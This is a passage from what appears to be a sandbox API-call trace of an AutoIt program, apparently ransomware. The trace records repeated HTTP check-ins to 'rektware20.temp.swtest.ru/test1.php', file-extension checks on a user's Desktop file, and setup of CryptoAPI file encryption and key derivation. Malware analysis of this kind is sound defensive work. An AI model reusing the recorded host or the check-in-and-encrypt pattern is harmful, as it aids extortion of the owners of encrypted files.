wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.494] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.494] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.494] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.494] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.494] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.494] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.494] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.494] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.494] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.494] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.494] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0074.495] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.495] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.495] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.496] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.496] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.496] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.497] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.498] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.498] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.498] CloseHandle (hObject=0x0) returned 0 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZKUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KUVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UVf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vf3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DD9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vdyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dyhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yhO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hO9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.501] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.501] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.501] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.502] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.502] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.502] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.502] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.502] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.502] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0074.502] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.502] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.502] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.504] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.505] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.505] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.505] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.505] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.505] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.506] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.506] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.506] CloseHandle (hObject=0x0) returned 0 [0074.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.506] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0074.507] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0074.507] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.507] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.507] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.508] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.508] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.508] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.509] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.509] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.509] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.509] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.509] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.510] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.511] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.511] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0074.512] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.512] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.512] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.512] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.512] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.513] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.513] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.513] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.513] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.514] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.514] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.514] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.514] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.514] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.514] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.515] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.515] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.515] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.515] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.515] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, 